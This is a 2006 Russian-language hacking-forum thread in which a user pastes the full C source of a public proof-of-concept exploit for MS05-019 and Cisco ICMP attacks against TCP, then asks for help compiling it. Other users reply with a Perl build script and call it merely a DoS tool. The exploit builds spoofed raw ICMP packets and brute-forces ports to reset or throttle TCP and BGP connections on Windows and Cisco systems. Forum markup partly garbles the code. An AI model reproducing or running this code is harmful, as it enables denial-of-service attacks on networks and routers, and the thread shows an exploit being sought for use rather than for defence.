[Проблема] Помогите скомпилировать исходник на C
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-15 17:38:06
|
|
|
PERRY
Сообщений: 53
Оценки: 0
Присоединился: 2005-07-04 13:26:55
|
Есть исходник на C но у меня не получаеться его скомпилировать - помогите пожалуйста, он просто при компиляции ошибки выдаёт, кто поможет - отблогодарю [:beer:];) Вот код исходника: /* HOD-icmp-attacks-poc.c: 2005-04-15: PUBLIC v.0.2 * * Copyright © 2004-2005 houseofdabus. * * (MS05-019) (CISCO:20050412) * ICMP attacks against TCP (Proof-of-Concept) * * * * .::[ houseofdabus ]::. * * * * [ for more details: * [ http://www.livejournal.com/users/houseofdabus * ——————————————————————— * Systems Affected: * - Cisco Content Services Switch 11000 Series (WebNS) * - Cisco Global Site Selector (GSS) 4480 1.x * - Cisco IOS 10.x * - Cisco IOS 11.x * - Cisco IOS 12.x * - Cisco IOS R11.x * - Cisco IOS R12.x * - Cisco IOS XR (CRS-1) 3.x * - Cisco ONS 15000 Series * - Cisco PIX 6.x * - Cisco SAN-OS 1.x (MDS 9000 Switches) * - AIX 5.x * - windоws Server 2003 * - windоws XP SP2 * - windоws XP SP1 * - windоws 2000 SP4 * - windоws 2000 SP3 * … * * ——————————————————————— * DeSсгiрtion: * A denial of service vulnerability exists that could allow an * attacker to send a specially crafted Internet Control Message * Protocol (ICMP) message to an affected system. An attacker who * successfully exploited this vulnerability could cause the affected * system to reset existing TCP connections, reduce the throughput * in existing TCP connections, or consume large amounts of CPU and * memory resources. * (CAN-2004-0790, CAN-2004-0791, CAN-2004-1060) * * ——————————————————————— * Solution: * http://www.microsoft.com/technet/security/Bulletin/MS05-019.mspx * http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml * * Other References: * http://www.gont.com.ar/drafts/icmp-attacks-against-tcp.html * http://www.kb.cert.org/vuls/id/222750 * * ——————————————————————— * Tested on: * - windоws Server 2003 * - windоws XP SP1 * - windоws 2000 SP4 * - Cisco IOS 11.x * * ——————————————————————— * Compile: * * Win32/VC++ : cl -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c * Win32/cygwin: gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c * Linux : gcc -o HOD-icmp-attacks-poc HOD-icmp-attacks-poc.c * * ——————————————————————— * Examples: * * client <—> router <—> router <—> server * * CLIENT <—> SERVER * * HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:1 * (abort the connection) * * HOD-icmp.exe -fi:serverIP -ti:clientIP -fp:80 -tp:1023 -a:2 * (slow down the transmission rate for traffic) * * * ROUTER1 <—> ROUTER2 * * HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:179 -a:1 * (DoS Cisco BGP Connections) * * HOD-icmp.exe -fi:routerIP2 -ti:routerIP1 -fp:80 -a:2 * (slow down the transmission rate for traffic) * * ——————————————————————— * * This is provided as proof-of-concept code only for educational * purposes and testing by authorized individuals with permission * to do so. * */
/* #define _WIN32 */
#ifdef _WIN32 #pragma comment(lib,"ws2_32") #pragma pack(1) #define WIN32_LEAN_AND_MEAN #include <winsock2.h> /* IP_HDRINCL */ #include <ws2tcpip.h>
#else #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/timeb.h> #endif
#include <string.h> #include <stdio.h> #include <stdlib.h>
#define MAX_PACKET 4096
#define DEFAULT_PORT 80 #define DEFAULT_IP "192.168.0.1" #define DEFAULT_COUNT 1
/* Define the IP header */ typedef struct ip_hdr { unsigned char ip_verlen; /* IP version & length */ unsigned char ip_tos; /* IP type of service */ unsigned short ip_totallength; /* Total length */ unsigned short ip_id; /* Unique identifier */ unsigned short ip_offset; /* Fragment offset field */ unsigned char ip_ttl; /* Time to live */ unsigned char ip_protocol; /* Protocol */ unsigned short ip_checksum; /* IP checksum */ unsigned int ip_srcaddr; /* Source address */ unsigned int ip_destaddr; /* Destination address */ } IP_HDR, *PIP_HDR;
/* Define the ICMP header */ /* Destination Unreachable Message */ typedef struct icmp_hdr { unsigned char type; /* Type */ unsigned char code; /* Code */ unsigned short checksum; /* Checksum */ unsigned long unused; /* Unused */ } ICMP_HDR, *PICMP_HDR;
/* 64 bits of Original Data Datagram (TCP header) */ char msg[] = "\x00\x50" /* Source port */ "\x00\x50" /* Destination port */ "\x23\x48\x4f\x44";
/* globals */ unsigned long dwToIP, /* IP to send to */ dwFromIP; /* IP to send from (spoof) */ unsigned short iToPort, /* Port to send to */ iFromPort; /* Port to send from (spoof) */ unsigned long dwCount; /* Number of times to send */ unsigned long Attack;
void usage(char *progname) { printf("Usage:\n\n"); printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> <-fi:SRC-PORT> [-tp:int] [-a:int] [-n:int]\n\n", progname); printf(" -fi:IP From (sender) IP address\n"); printf(" -ti:IP To (target) IP address\n"); printf(" -fp:int Target open TCP port number\n"); printf(" (for example - 21, 25, 80)\n"); printf(" -tp:int Inicial value for bruteforce (sender) TCP port number\n"); printf(" (default: 0 = range of ports 0-65535)\n"); printf(" -n:int Number of packets\n\n"); printf(" -a:int ICMP attacks:\n"); printf(" 1 - Blind connection-reset attack\n"); printf(" (ICMP protocol unreachable)\n"); printf(" 2 - Path MTU discovery attack\n"); printf(" (slow down the transmission rate)\n"); printf(" 3 - ICMP Source Quench attack\n"); exit(1); }
void ValidateArgs(int argc, char **argv) { int i;
iToPort = 0; iFromPort = DEFAULT_PORT; dwToIP = inet_addr(DEFAULT_IP); dwFromIP = inet_addr(DEFAULT_IP); dwCount = DEFAULT_COUNT; Attack = 1;
for (i = 1; i < argc; i++) { if ((argv[0] == ''-'') || (argv[0] == ''/'')) {<BR> switch (tolower(argv[1])) {<BR> case ''f'':<BR> switch (tolower(argv[2])) {<BR> case ''p'':<BR> if (strlen(argv) > 4)<BR> iFromPort = atoi(&argv[4]);<BR> break;<BR> case ''i'':<BR> if (strlen(argv) > 4)<BR> dwFromIP = inet_addr(&argv[4]);<BR> break;<BR> default:<BR> usage(argv[0]);<BR> break;<BR> }<BR> break;<BR> case ''t'':<BR> switch (tolower(argv[2])) {<BR> case ''p'':<BR> if (strlen(argv) > 4)<BR> iToPort = atoi(&argv[4]);<BR> break;<BR> case ''i'':<BR> if (strlen(argv) > 4)<BR> dwToIP = inet_addr(&argv[4]);<BR> break;<BR> default:<BR> usage(argv[0]);<BR> break;<BR> }<BR> break;<BR> case ''n'':<BR> if (strlen(argv) > 3)<BR> dwCount = atol(&argv[3]);<BR> break;<BR> case ''a'':<BR> if (strlen(argv) > 3)<BR> Attack = atol(&argv[3]);<BR> if ((Attack > 3) || (Attack < 1))<BR> usage(argv[0]);<BR> break;<BR> default:<BR> usage(argv[0]);<BR> break;<BR> }<BR> }<BR> }<BR> return;<BR>}<BR><BR><BR>/* This function calculates the 16-bit one''s complement sum */<BR>/* for the supplied buffer */<BR>unsigned short<BR>checksum(unsigned short *buffer, int size)<BR>{<BR> unsigned long cksum = 0;<BR><BR> while (size > 1) {<BR> cksum += *buffer++;<BR> size -= sizeof(unsigned short); <BR> }<BR> if (size) {<BR> cksum += *(unsigned char *)buffer; <BR> }<BR> cksum = (cksum >> 16) + (cksum & 0xffff);<BR> cksum += (cksum >>16); <BR><BR> return (unsigned short)(~cksum); <BR>}<BR><BR><BR><BR>int<BR>main(int argc, char **argv)<BR>{<BR><BR>#ifdef _WIN32<BR> WSADATA wsd;<BR>#endif<BR> int s;<BR>#ifdef _WIN32<BR> BOOL bOpt;<BR>#else<BR> int bOpt;<BR>#endif<BR> struct sockaddr_in remote;<BR> IP_HDR ipHdr,<BR> ipHdrInc;<BR> ICMP_HDR icmpHdr;<BR> int ret;<BR> unsigned long i, p;<BR> unsigned short iTotalSize,<BR> iIPVersion,<BR> iIPSize,<BR> p2,<BR> cksum = 0;<BR> char buf[MAX_PACKET],<BR> *ptr = NULL;<BR>#ifdef _WIN32<BR> IN_ADDR addr;<BR>#else<BR> struct sockaddr_in addr;<BR>#endif<BR><BR> printf("\n (MS05-019) (CISCO:20050412)\n");<BR> printf(" ICMP attacks against TCP (Proof-of-Concept)\n\n");<BR> printf(" Copyright © 2004-2005 .: houseofdabus :.\n\n\n");<BR><BR> if (argc < 3) usage(argv[0]);<BR><BR> /* Parse command line arguments and print them out */<BR> ValidateArgs(argc, argv);<BR>#ifdef _WIN32<BR> addr.S_un.S_addr = dwFromIP;<BR> printf("From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);<BR> addr.S_un.S_addr = dwToIP;<BR> printf("To IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);<BR> printf("Count: %d\n", dwCount);<BR>#else<BR> addr.sin_addr.s_addr = dwFromIP;<BR> printf("From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);<BR> addr.sin_addr.s_addr = dwToIP;<BR> printf("To IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);<BR> printf("Count: %d\n", dwCount);<BR>#endif<BR><BR>#ifdef _WIN32<BR> if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {<BR> printf("[-] WSAStartup() failed: %d\n", GetLastError());<BR> return -1;<BR> }<BR>#endif<BR> /* Creating a raw socket */<BR> s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);<BR>#ifdef _WIN32<BR> if (s == INVALID_SOCKET) {<BR>#else<BR> if (s < 0) {<BR>#endif<BR> printf("[-] socket() failed\n");<BR> return -1;<BR> }<BR><BR><BR> /* Enable the IP header include option */<BR>#ifdef _WIN32<BR> bOpt = TRUE;<BR>#else<BR> bOpt = 1;<BR>#endif<BR> ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));<BR>#ifdef _WIN32<BR> if (ret == SOCKET_ERROR) {<BR> printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());<BR> return -1;<BR> }<BR>#endif<BR><BR><BR> /* Initalize the IP header */<BR> iTotalSize = sizeof(ipHdr) + sizeof(icmpHdr) + sizeof(msg)-1 + sizeof(ipHdrInc);<BR><BR> iIPVersion = 4;<BR> iIPSize = sizeof(ipHdr) / sizeof(unsigned long);<BR><BR> ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;<BR> ipHdr.ip_tos = 0; /* IP type of service */<BR> /* Total packet len */<BR> ipHdr.ip_totallength = htons(iTotalSize);<BR> ipHdr.ip_id = htons(42451); /* Unique identifier */<BR> ipHdr.ip_offset = 0; /* Fragment offset field */<BR> ipHdr.ip_ttl = 255; /* Time to live */<BR> ipHdr.ip_protocol = 0x1; /* Protocol(ICMP) */<BR> ipHdr.ip_checksum = 0; /* IP checksum */<BR> ipHdr.ip_srcaddr = dwFromIP; /* Source address */<BR> ipHdr.ip_destaddr = dwToIP; /* Destination address */<BR><BR><BR> ipHdrInc.ip_verlen = (iIPVersion << 4) | iIPSize;<BR> ipHdrInc.ip_tos = 0; /* IP type of service */<BR> /* Total packet len */<BR> ipHdrInc.ip_totallength = htons(sizeof(ipHdrInc)+20);<BR> ipHdrInc.ip_id = htons(25068); /* Unique identifier */<BR> ipHdrInc.ip_offset = 0; /* Fragment offset field */<BR> ipHdrInc.ip_ttl = 255; /* Time to live */<BR> ipHdrInc.ip_protocol = 0x6; /* Protocol(TCP) */<BR> ipHdrInc.ip_checksum = 0; /* IP checksum */<BR> ipHdrInc.ip_srcaddr = dwToIP; /* Source address */<BR> ipHdrInc.ip_destaddr = dwFromIP;/* Destination address */<BR><BR><BR> /* Initalize the ICMP header */<BR> icmpHdr.checksum = 0;<BR> if (Attack == 1) {<BR> icmpHdr.type = 3; /* Destination Unreachable Message */<BR> icmpHdr.code = 2; /* protocol unreachable */<BR> icmpHdr.unused = 0;<BR> } else if (Attack == 2) {<BR> icmpHdr.type = 3; /* Destination Unreachable Message */<BR> icmpHdr.code = 4; /* fragmentation needed and DF set */<BR> icmpHdr.unused = 0x44000000; /* next-hop MTU - 68 */<BR> } else {<BR> icmpHdr.type = 4; /* Source Quench Message */<BR> icmpHdr.code = 0;<BR> icmpHdr.unused = 0;<BR> }<BR><BR> memset(buf, 0, MAX_PACKET);<BR> ptr = buf;<BR><BR> memcpy(ptr, &ipHdr, sizeof(ipHdr)); ptr += sizeof(ipHdr);<BR> memcpy(ptr, &icmpHdr, sizeof(icmpHdr)); ptr += sizeof(icmpHdr);<BR> memcpy(ptr, &ipHdrInc, sizeof(ipHdrInc)); ptr += sizeof(ipHdrInc);<BR> memcpy(ptr, msg, sizeof(msg)-1);<BR> iFromPort = htons(iFromPort);<BR> memcpy(ptr, &iFromPort, 2);<BR><BR> remote.sin_family = AF_INET;<BR> remote.sin_port = htons(iToPort);<BR> remote.sin_addr.s_addr = dwToIP;<BR><BR> cksum = checksum((unsigned short *)&ipHdrInc, 20);<BR> memcpy(buf+20+sizeof(icmpHdr)+10, &cksum, 2);<BR><BR> cksum = checksum((unsigned short *)&ipHdr, 20);<BR> memcpy(buf+10, &cksum, 2);<BR><BR> for (p = iToPort; p <= 65535; p++) {<BR> p2 = htons((short)p);<BR> memcpy((char *)(ptr+2), &p2, 2);<BR> buf[22] = 0;<BR> buf[23] = 0;<BR> cksum = checksum((unsigned short *)(buf+20), sizeof(icmpHdr)+28);<BR> memcpy(buf+20+2, &cksum, 2);<BR><BR> for (i = 0; i < dwCount; i++) {<BR>#ifdef _WIN32<BR> ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, <BR> sizeof(remote));<BR>#else<BR> ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote, <BR> sizeof(remote));<BR>#endif<BR>#ifdef _WIN32<BR> if (ret == SOCKET_ERROR) {<BR>#else<BR> if (ret < 0) {<BR>#endif<BR> printf("[-] sendto() failed\n");<BR> break;<BR> }<BR> }<BR> }<BR><BR>#ifdef _WIN32<BR> closesocket(s);<BR> WSACleanup();<BR>#endif<BR><BR> return 0;<BR>}
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-15 18:00:12
|
|
|
Python
Сообщений: 4964
Оценки: 0
Присоединился: 2005-12-14 08:32:13
|
PERRY, ну ты даешь… Я бы поленился стока писать [sm=sm128.gif]
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-15 18:07:58
|
|
|
PERRY
Сообщений: 53
Оценки: 0
Присоединился: 2005-07-04 13:26:55
|
Python= Знаешь, есть волшебное сочетание клавишь "Ctrl+C" и "Ctrl+V" ну ещё можно и правой кнопкой мыши выбрать опцию копировать, а потом вставить[sm=9.gif] Шутка… На самом деле - эксплойт взял с securitylab.ru просто я не могу его скомпилировать[sm=8.gif] ошибки при компиляции выдаёт
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-15 18:13:29
|
|
|
n1ght
Сообщений: 288
Оценки: 0
Присоединился: 2005-11-12 20:39:41
|
Хех, питонище ))) Ща глянем твой сплоит )
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-16 00:54:39
|
|
|
Pupkin-Zade
Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
|
Нефига потому что по всяким левым сайтам лазить :)))
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-16 08:42:36
|
|
|
-ddd-
Сообщений: 4918
Оценки: 42
Присоединился: 2005-05-23 17:20:41
|
Немогешь скомпилировать, потому что в коде ошЫбки:))
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-16 09:35:08
|
|
|
marlenus
Сообщений: 31
Оценки: 0
Присоединился: 2006-01-03 15:47:36
|
У меня прекрасно скомпилилось [ MS VC 6.0 с прописанными в параметрах среды путями к cl.exe и к link.exe], но есть множество предупреждений. Компилил скриптом на Перле:
print "Enter filename: "; $filename=<STDIN>; chomp($filename);
if (-e $filename){ $filename=~/(.*)\.(.*)/; $firstpart=$1; $extension=$2;
if($extension != "c" || $extension != "cpp"){ print "This is not C/C++ file. Exiting…\n"; system("pause"); die;} print "Compiling:\n"; system("cl $filename /nologo /W3 /GX /O2 /D 'WIN32' /D 'NDEBUG' /D '_CONSOLE' /D '_MBCS' /YX /FD /c"); print "Linking:\n"; system("link $firstpart.obj kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib /nologo /subsystem:console /machine:I386"); unlink("vc60.idb");unlink("vc60.pch"); print "Executing:\n"; system("pause"); system("$firstpart.exe"); print "Exiting…\n"; system("pause");} else { print "You entered invalid filename. Exiting…\n"; system("pause"); }
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-16 16:09:58
|
|
|
n1ght
Сообщений: 288
Оценки: 0
Присоединился: 2005-11-12 20:39:41
|
Наверно эта круто перловым скриптом сишные сплоиты компилить [sm=9.gif] малаццом )
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-17 19:39:52
|
|
|
PERRY
Сообщений: 53
Оценки: 0
Присоединился: 2005-07-04 13:26:55
|
ЭЭЭ народ, так что там с моим исходником[sm=8.gif][sm=sm128.gif][sm=em62.gif]????
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2006-01-22 01:43:55
|
|
|
adwokat
Сообщений: 252
Оценки: 0
Присоединился: 2005-11-12 14:19:05
|
Мож я чего то не допонимаю, но по моему это всего лишь досер, шелл он не дает, а значит пользы от него не так уж и много Почитай здесь- мож поможет: http://forum.web-hack.ru/index.php?s=&act=ST&f=26&t=21918
|
|
|
[Проблема] Помогите скомпилировать исходник на C - 2010-09-10 12:52:42.263333
|
|
|
Gоndon
Сообщений: 119
Оценки: 0
Присоединился: 2010-05-28 13:00:45.096666
|
Угу - http://www.securitylab.ru/news/358464.php PERRY, а Вы действительно верите, что хотя бы 20 процентов посетителей этого форума имеют доступ к маршрутизаторам, рулящими BGP? Или хотя бы знают, что такое AS? Или хотя бы имеют представление, что это за протокол?
|
|
|
|
|